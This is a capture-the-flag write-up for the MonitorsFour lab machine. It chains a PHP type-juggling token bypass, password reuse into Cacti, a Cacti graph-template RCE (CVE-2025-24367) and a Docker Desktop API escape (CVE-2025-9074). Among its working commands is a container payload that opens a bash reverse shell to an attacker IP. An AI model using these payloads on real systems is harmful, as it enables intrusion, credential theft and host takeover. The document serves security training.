1. RECON
1.1. Port Scan
$ rustscan -a $targetIp --ulimit 2000 -r 1-65535 -- -A sS -Pn
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack nginx
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://monitorsfour.htb/
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsA "Linux" Styling setup.
1.2. Web App
MonitorsFour kicks off with a blast of déjà-vu — the interface mimics MonitorsThree:

No public registration. A password reset flow exists — likely a decoy — but it's limp: only a 302 redirect, no juicy verbose feedback:

1.3. Directory Fuzzing
Run dirsearch for URL directory fuzzing:
$ dirsearch -u 'http://monitorsfour.htb' -x 404
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12266
Target: http://monitorsfour.htb/
[19:06:02] Scanning:
[19:06:18] 200 - 97B - /.env
[19:07:08] 403 - 548B - /admin/.htaccess
[19:07:37] 403 - 548B - /administrator/.htaccess
[19:07:45] 403 - 548B - /app/.htaccess
[19:08:12] 200 - 367B - /contact
[19:08:13] 403 - 548B - /controllers/
[19:08:54] 200 - 4KB - /login
[19:09:58] 301 - 162B - /static -> http://monitorsfour.htb/static/
[19:10:15] 200 - 35B - /user
[19:10:27] 301 - 162B - /views -> http://monitorsfour.htb/views/
Task CompletedThe .env file seems straight forward:
$ curl -i http://monitorsfour.htb/.env
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 07 Dec 2025 03:32:41 GMT
Content-Type: application/octet-stream
Content-Length: 97
Last-Modified: Sat, 13 Sep 2025 05:37:28 GMT
Connection: keep-alive
ETag: "68c50318-61"
Accept-Ranges: bytes
DB_HOST=mariadb
DB_PORT=3306
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f37p2j8f4t0rVisiting /user triggers a JSON error — API endpoint in play:
$ curl -i http://monitorsfour.htb/user
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 07 Dec 2025 03:32:50 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.3.27
Set-Cookie: PHPSESSID=f3671561a83482ba654b48251150bb08; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
{"error":"Missing token parameter"}/user?token=<JWT|API token> expected. Send garbage:
$ curl -i "http://monitorsfour.htb/user?token=AAAA"
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 07 Dec 2025 03:35:10 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/8.3.27
Set-Cookie: PHPSESSID=c4892feaa57579316ec6eb3fb16caedb; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
{"error":"Invalid or missing token"}Token-based auth confirmed. We'll dig deeper once we know the logic behind token issuance.
1.4. Subdomains
Push beyond the main domain — ffuf uncovers more territory:
$ ffuf -c -u "http://monitorsfour.htb/" -H "Host: FUZZ.monitorsfour.htb" -w /home/Axura/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 3
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0
________________________________________________
:: Method : GET
:: URL : http://monitorsfour.htb/
:: Wordlist : FUZZ: /home/Axura/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
:: Header : Host: FUZZ.monitorsfour.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 3
________________________________________________
cacti [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 726ms]
:: Progress: [1437/19966] :: Job [1/1] :: 67 req/sec :: Duration: [0:00:24] :: Errors: 0 ::A new vector. Different subdomain, same theme. We're back in Cacti, like MonitorsThree — only this time, it's v1.2.28:

That subtle version bump renders the old RCE CVE-2024-25641 (1.2.26 in MonitorsThree) ineffective. Patching closed the previous hole, time to comb Cacti 1.2.28 changelogs.
2. WEB
We've got two login entries, no creds in hand. So we pivot: interrogate the system through its exposed APIs and look for logic leaks that spill something useful.
2.1. IDOR
The /user endpoint looks promising — it leaks user data based on a token parameter. The app is built in PHP, and the logic smells injectable.
2.1.1. Token validation logic
Initial probing of /user reveals a three-path branch.
Case 1 — No token param:
$ curl "http://monitorsfour.htb/user"
{"error":"Missing token parameter"}So if $_GET['token'] is not set at all, backend complains: "Missing token parameter".
Case 2 — Dummy or empty token:
$ curl "http://monitorsfour.htb/user?token=AAAA"
{"error":"Invalid or missing token"}
$ curl "http://monitorsfour.htb/user?token="
{"error":"Invalid or missing token"}Here, the token param is present — either filled with junk or left empty — but the backend still throws: "Invalid or missing token".
That implies the value is being evaluated, not just its presence — there's likely a first check for whether the parameter exists, and a second for whether its value is non-empty. Once it passes both, the input is compared against stored tokens.
A possible backend flow might look like:
if (!isset($_GET['token'])) {
echo json_encode(["error" => "Missing token parameter"]);
exit;
}
// Empty token
$token = $_GET['token'];
if ($token === "") {
echo json_encode(["error" => "Invalid or missing token"]);
exit;
}
// Fetch all users from DB
$users = $db->query("SELECT * FROM users")->fetchAll(PDO::FETCH_ASSOC);
// Check if any user has this token
$valid = false;
foreach ($users as $u) {
if ($u['token'] === $token) { // [!] validation
$valid = true;
break;
}
}
if ($valid) {
// Authorized: dump everything
echo json_encode($users);
} else {
// Wrong token
echo json_encode(["error" => "Invalid or missing token"]);
}Nothing inherently broken in above demo — unless there's some coding flaw (i.e. PHP type juggling). And this is a black-box scenario, so we don't trust the surface. Time to fuzz.
2.1.2. PHP loose comparison
We saw:
X-Powered-By: PHP/8.3.27For PHP, there are two reflexes we should train:
- Loose comparisons — devs love
==instead of=== - Type juggling — arrays, strings, and numbers all compared without checks
The token in our case is used for auth. If devs used loose comparison:
if ($u['token'] == $token) { // loose comparison…then the floodgates might just crack open. Reference: PayloadAllTheThings — Type Juggling

Any time we see PHP + token logic + weird error messages, we reach for muscle memory. This payload wordlist used for fuzzing:
0
1
-1
0e1234
00
0x0
0x1
null
NULL
true
false
[]
{}Fuzz token with:
ffuf -c \
-u "http://monitorsfour.htb/user?token=FUZZ" \
-w /home/Axura/wordlists/Axura/php_loose_comparison.txt \
-fw 4Jackpot:

The backend folded — using loose comparison, so payloads like 0, 00, and 0e1234 get matched:
"0e543210987654321" == "0" // true
"0e543210987654321" == "00" // true
"0e999999999999999" == "0e1234" // trueTime to extract everything:
curl -i "http://monitorsfour.htb/user?token=0e1234" | jq '.[]' > users.jsonResults:
{
"id": 2,
"username": "admin",
"email": "[email protected]",
"password": "56b32eb43e6f15395f6c46c1c9e1cd36",
"role": "super user",
"token": "8024b78f83f102da4f",
"name": "Marcus Higgins",
"position": "System Administrator",
"dob": "1978-04-26",
"start_date": "2021-01-12",
"salary": "320800.00"
}
{
"id": 5,
"username": "mwatson",
"email": "[email protected]",
"password": "69196959c16b26ef00b77d82cf6eb169",
"role": "user",
"token": "0e543210987654321",
"name": "Michael Watson",
"position": "Website Administrator",
"dob": "1985-02-15",
"start_date": "2021-05-11",
"salary": "75000.00"
}
{
"id": 6,
"username": "janderson",
"email": "[email protected]",
"password": "2a22dcf99190c322d974c8df5ba3256b",
"role": "user",
"token": "0e999999999999999",
"name": "Jennifer Anderson",
"position": "Network Engineer",
"dob": "1990-07-16",
"start_date": "2021-06-20",
"salary": "68000.00"
}
{
"id": 7,
"username": "dthompson",
"email": "[email protected]",
"password": "8d4a7e7fd08555133e056d9aacb1e519",
"role": "user",
"token": "0e111111111111111",
"name": "David Thompson",
"position": "Database Manager",
"dob": "1982-11-23",
"start_date": "2022-09-15",
"salary": "83000.00"
}Plain MD5 hashes. Admin's hash cracks with rockyou.txt:
admin / wonderful1Pop the login on http://monitorsfour.htb/login:

2.2. Cacti
2.2.1. Password Reusing
The MonitorsFour web app seems nothing but a data viewer — nothing execution-worthy. To gain actual RCE, we shift our crosshairs to the Cacti instance.
Trying admin / wonderful1 on http://cacti.monitorsfour.htb/cacti/index.php fails. But we know the real admin's name: Marcus Higgins. We take a shot:
marcus / wonderful1Bingo:

2.2.2. Cacti 101
Cacti is a PHP-based network monitoring and graphing platform. It visualizes metrics from devices using SNMP and polling scripts.
Admins use it to:
- Monitor network devices (routers, servers, switches)
- Collect system performance stats
- Generate time-series graphs
- Run recurring commands via poller
In earlier versions, we used this exploit path. Now we're on Cacti 1.2.28 — patched for unauth paths, but still wide open post-login.
Once authenticated, Cacti has two key vectors for command execution:
| Method | Mechanism | Trigger | Used by |
|---|---|---|---|
| Poller Execution | Scheduled shell execution via poller.php | Time schedule or manual trigger | Data source polling |
| Graph Rendering Execution | RRDTool command-line rendering of graphs | User requests / graph JSON | Graph Templates |
Poller-based RCE — inject into device polling scripts:

Graph-based RCE — inject into graph templates that wrap around rrdtool calls:

We go with the second — Graph Template injection.
2.2.3. CVE-2025-24367
Inside the admin panel, we see 4 graphs already tied to the local host:

We confirm we can edit/add templates:

This gives us full control over fields that become RRDTool CLI arguments — which means we can hijack the shell command flow.
Rather than reinvent the payload chain, we use a fresh PoC released by the box author.
Exploit flow:
Authenticated session
▼
Modify Graph Template
▼
Inject system command into rrdtool args
▼
Force Cacti to write a PHP payload to webroot
▼
Hit PHP file → Reverse shell triggerDeploy:
# Clone exploit repo
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
cd CVE-2025-24367-Cacti-PoC
# Listener
nc -lnvp 60001
# Launch attack
python exploit.py \
-u marcus -p wonderful1 \
-url http://cacti.monitorsfour.htb \
-i $attackerIp -l 60001Shell lands:

We breach the container — user: www-data.
While inside, we validate our earlier hunch. The vulnerable token comparison is real — loose comparison confirmed:
PHPpublic function validate_token($token): bool { $query = "SELECT token FROM users"; $stmt = $this->db->query($query); $tokens = $stmt->fetchAll(PDO::FETCH_COLUMN); foreach ($tokens as $db_token) { if ($token == $db_token) { // [!] use "==" instead of "===" return true; } } return false;
3. USER
We pivot into the container and immediately pull user context. From /etc/passwd:
marcus:x:1000:1000::/home/marcus:/bin/bashThe user marcus exists and owns a real shell. That's our next privilege target.
Check home perms:
www-data@821fbd6a43fa:~/html/cacti$ ls -l /home
drwxr-xr-x 1 marcus marcus 4096 Dec 7 02:28 marcus
www-data@821fbd6a43fa:~/html/cacti$ ls -l /home/marcus
-r-xr-xr-x 1 root root 34 Dec 7 02:26 user.txtReadable by all. Just grab the user flag.
4. ROOT
4.1. Topology
We start by identifying the local topology — understanding how services resolve and communicate within this segmented environment.
Check hostname resolution:
www-data@821fbd6a43fa:~$ getent hosts mariadb
172.18.0.2 mariadbThis confirms:
mariadbis not a global hostname, but a Docker-internal service- Resolved IP
172.18.0.2sits on a Docker bridge network
Confirm our own IP:
www-data@821fbd6a43fa:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host proto kernel_lo
valid_lft forever preferred_lft forever
2: eth0@if7: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether aa:9a:ed:9c:64:e5 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.18.0.3/16 brd 172.18.255.255 scope global eth0
valid_lft forever preferred_lft foreverCheck routing:
www-data@821fbd6a43fa:~$ ip route
default via 172.18.0.1 dev eth0
172.18.0.0/16 dev eth0 proto kernel scope link src 172.18.0.3From this, we map the Docker subnet:
- Container (Cacti) →
172.18.0.3 - MariaDB container →
172.18.0.2 - Bridge gateway →
172.18.0.1(host-side of Docker bridge)
This places us on a Docker bridge network at 172.18.0.0/16.
Now peek into how DNS is being handled inside the container:
# Generated by Docker Engine.
# This file can be edited; Docker Engine will not make further changes once it
# has been modified.
nameserver 127.0.0.11
options ndots:0
# Based on host file: '/etc/resolv.conf' (internal resolver)
# ExtServers: [host(192.168.65.7)]
# Overrides: []
# Option ndots from: internalKey intel:
127.0.0.11is Docker's internal container-side DNS proxy.- External DNS queries are forwarded to
192.168.65.7— this is the host-side resolver, likely within WSL2's bridge.
Conclusion: we are not inside WSL directly — we're inside a Docker container, bridged under WSL2, which is hosted on the Windows target.
Resulting stack layout:
Windows Host (Target)
│
└── WSL2 VM [IP: 192.168.65.7]
│
└── Docker Host
│
├── Cacti Container [IP: 172.18.0.3]
└── MariaDB Container [IP: 172.18.0.2]192.168.65.7 acts as the virtual interface Docker uses inside WSL2.
4.2. Internal Scanning
Docker's internal resolver (127.0.0.11) lists 192.168.65.7 as its upstream — a host-side resolver, sitting just beyond the container boundary.
To scan it properly, we upload fscan and sweep the entire port range:
www-data@821fbd6a43fa:/tmp$ ./fscan -h 192.168.65.7 -p 1-65535
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
192.168.65.7:53 open
192.168.65.7:2375 open
192.168.65.7:3128 open
192.168.65.7:5555 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://192.168.65.7:2375 code:404 len:29 title:None
[*] WebTitle http://192.168.65.7:5555 code:200 len:0 title:None
[+] PocScan http://192.168.65.7:2375 poc-yaml-docker-api-unauthorized-rce
[+] PocScan http://192.168.65.7:2375 poc-yaml-go-pprof-leakThe scanner's screaming — and rightfully so:
Port 2375 is open and exposing the Docker Remote API without auth.
4.3. Docker Escape
4.3.1. Docker Unauth API
Port 2375 is the Docker Remote API over HTTP — unauthenticated, unrestricted, and catastrophically powerful.
Docker's architecture breaks cleanly into two layers:
[ Client (docker command) ]
↓ (API requests)
[ Docker Daemon (dockerd) ]The CLI (docker run, docker ps, etc.) doesn't magically "run containers". It sends REST API calls to dockerd (the real engine).
That API can be exposed three ways:
| Transport | Default Port | Security |
|---|---|---|
| Unix Socket | /var/run/docker.sock | Local only, permission-controlled |
| TCP (HTTP) | 2375 | UNAUTHENTICATED → Extremely Dangerous |
| TCP (HTTPS) | 2376 | mTLS authentication (secure) |
On Linux, 2375 is disabled by default — everything runs through the UNIX socket.
But if it's open?It's game over.
4.3.2. Docker Desktop Misconfiguration
Here's where it gets insidious: in Docker Desktop for Windows/macOS, even if the "Expose daemon on tcp://localhost:2375" box is unchecked, the internal bridge 192.168.65.7:2375 is still wide open to containers.
That means any container — like the one we popped — can talk to the host Docker Engine with full privileges, mount disks, create containers, or even overwrite the host filesystem.
This behavior is not just misconfiguration — it's a design oversight with real-world consequences.
The issue has been assigned a Critical (CVSS 9.3) score and is tracked under CVE-2025-9074.
We confirm remote API access directly:
www-data@821fbd6a43fa:~$ curl http://192.168.65.7:2375/version
{
"Version": "28.3.2",
"ApiVersion": "1.51",
"Os": "linux",
"KernelVersion": "6.6.87.2-microsoft-standard-WSL2",
...
}We don't concern its version, either enabled by default or manually, as long as the APIs are accessible. No TLS. No auth. No restrictions.
4.3.3. CVE-2025-9074
To exploit the exposed Docker API, we mirror the PoC from When a SSRF is enough: Full Docker Escape on Windows Docker Desktop (CVE-2025-9074).
In unpatched Docker Desktop for Windows, any container can:
- Connect to
http://192.168.65.7:2375/without auth - Spin up a privileged container
- Mount the host's C:\ drive into that container
- Execute commands with full access to Windows
The PoC is literally two HTTP POSTs from inside a container:
POST /containers/createwith:"Image": "alpine""HostConfig": { "Binds": ["/mnt/host/c:/host_root"] }"Cmd": ["sh","-c","echo pwned > /host_root/pwn.txt"]
POST /containers/{id}/startto launch it.
We adapt this to MonitorsFour.
Step 1: Enumerate local Docker images
Since HTB boxes can't pull images externally, we query for local ones:
curl -s http://192.168.65.7:2375/images/jsonOutput:
{
"Containers": 1,
"Created": 1762794130,
"Id": "sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666",
"Labels": {
"com.docker.compose.project": "docker_setup",
"com.docker.compose.service": "nginx-php",
"com.docker.compose.version": "2.39.1"
},
"ParentId": "",
"Descriptor": {
"mediaType": "application/vnd.oci.image.index.v1+json",
"digest": "sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666",
"size": 856
},
"RepoDigests": [
"docker_setup-nginx-php@sha256:93b5d01a98de324793eae1d5960bf536402613fd5289eb041bac2c9337bc7666"
],
"RepoTags": [
"docker_setup-nginx-php:latest"
],
"SharedSize": -1,
"Size": 1277167255
}
{
"Containers": 1,
"Created": 1762791053,
"Id": "sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40",
"Labels": {
"com.docker.compose.project": "docker_setup",
"com.docker.compose.service": "mariadb",
"com.docker.compose.version": "2.39.1",
"org.opencontainers.image.authors": "MariaDB Community",
"org.opencontainers.image.base.name": "docker.io/library/ubuntu:noble",
"org.opencontainers.image.description": "MariaDB Database for relational SQL",
"org.opencontainers.image.documentation": "https://hub.docker.com/_/mariadb/",
"org.opencontainers.image.licenses": "GPL-2.0",
"org.opencontainers.image.ref.name": "ubuntu",
"org.opencontainers.image.source": "https://github.com/MariaDB/mariadb-docker",
"org.opencontainers.image.title": "MariaDB Database",
"org.opencontainers.image.url": "https://github.com/MariaDB/mariadb-docker",
"org.opencontainers.image.vendor": "MariaDB Community",
"org.opencontainers.image.version": "11.4.8"
},
"ParentId": "",
"Descriptor": {
"mediaType": "application/vnd.oci.image.index.v1+json",
"digest": "sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40",
"size": 856
},
"RepoDigests": [
"docker_setup-mariadb@sha256:74ffe0cfb45116e41fb302d0f680e014bf028ab2308ada6446931db8f55dfd40"
],
"RepoTags": [
"docker_setup-mariadb:latest"
],
"SharedSize": -1,
"Size": 454269972
}
{
"Containers": 1,
"Created": 1759921496,
"Id": "sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412",
"Labels": null,
"ParentId": "",
"Descriptor": {
"mediaType": "application/vnd.oci.image.index.v1+json",
"digest": "sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412",
"size": 9218
},
"RepoDigests": [
"alpine@sha256:4b7ce07002c69e8f3d704a9c5d6fd3053be500b7f1c69fc0d80990c2ad8dd412"
],
"RepoTags": [
"alpine:latest"
],
"SharedSize": -1,
"Size": 12794775
}Reveals:
docker_setup-nginx-php:latestdocker_setup-mariadb:latestalpine:latest
We'll avoid alpine — too minimal without common binaries. We go with the PHP image for its utility.
Step 2: Create a host-mounted container
From our www-data shell inside the container, querying over /containers/create API:
# @docker
cd /tmp
# Ask Docker to create a new Alpine container,
# mounting the host's C: drive under /host_root
curl -H 'Content-Type: application/json' \
-d '{
"Image": "docker_setup-nginx-php:latest",
"Cmd": ["/bin/bash","-c","bash -i >& /dev/tcp/10.10.13.19/60002 0>&1"],
"HostConfig": {
"Binds": ["/mnt/host/c:/host_root"]
}
}' \
-o create.json \
http://192.168.65.7:2375/containers/createThen grab the container ID:
# retrieve container ID
cid=$(grep -o '"Id":"[^"]*"' create.json | cut -d'"' -f4)
Step 3: Start the container
Start up the container via /containers/<container_id>/start API:
# @attacker
nc -lnvp 60002
# @container
curl -d '' "http://192.168.65.7:2375/containers/$cid/start"
# If it fails, debug:
curl -s "http://192.168.65.7:2375/containers/$cid/logs?stdout=1&stderr=1"And with that — shell lands.

We're now inside a privileged container, mounting the host's C:.
4.3.4.Container Escape to Windows Host
This isn't just a container escape. This is full cross-layer privilege escalation through Docker-on-WSL.
The architecture stacks like this:
📦 Cacti (Docker Container, 172.18.x.x)
↓ via Docker API 2375 escape
🐳 Docker Engine inside WSL2
↓ privileged bind-mount of host `/`
🐧 WSL2 Linux VM (root filesystem `/`)
↓ Windows filesystem passthrough
🚩 Windows NTFS Host (C:\)We issued:
"HostConfig": {
"Binds": ["/:/host_root"]
}Docker complied — mounting the entire WSL2 rootfs into /host_root. And under WSL2, that rootfs includes a passthrough to C:\.
Root inside this privileged container = root inside WSL2 = access to Windows filesystem
Grab the flag from C:\ directly:

Rooted
5. APPENDIX
5.1. Cacti DB
From /var/www/html/cacti/include/config.php, we extract hardcoded database credentials:
$database_type = 'mysql';
$database_default = 'cacti';
$database_hostname = 'mariadb';
$database_username = 'cactidbuser';
$database_password = '7pyrf6ly8qx4';
$database_port = '3306';Connect to the Cacti DB (non-interactive):
mysql -h mariadb -u cactidbuser -p'7pyrf6ly8qx4' \
-D cacti \
-sN \
-e 'SHOW TABLES;'Key Tables:
user_auth→ Cacti users + hashed passwordshost→ monitored machines
Cacti Users – user_auth:
mysql -h mariadb -u cactidbuser -p'7pyrf6ly8qx4' \
-D cacti \
-sN \
-e 'SELECT id,username,realm,full_name,password FROM user_auth;'Output:
1 admin 0 Administrator $2y$10$wqlo06C4isr4q9xhqI/UQOpyM/n8EDzYl/GndqhDh/2LQihzPdHWO
3 guest 0 Guest Account 43e9a4ab75570f5b
4 marcus 0 Marcus Haynes $2y$10$bPWlnZYLhoDUawu4x8vLAuCIaDbqIUe4s9t9HqFm/1gtbavD/eKGeadminandmarcus(we owned) use bcrypt ($2y$10$…) — expensive to crackguestuses an old unsalted hash (likely plaintext MD5) — trivial but not useful
Inspect monitored Hosts – host:
mysql -h mariadb -u cactidbuser -p'7pyrf6ly8qx4' \
-D cacti \
-sN \
-e 'SELECT id,description,hostname,notes FROM host;'Result:
1 Local Linux Machine localhost Initial Cacti DeviceOnly one entry — a local poller. No insight or link to the Windows host via SNMP or agent.
Comments | NOTHING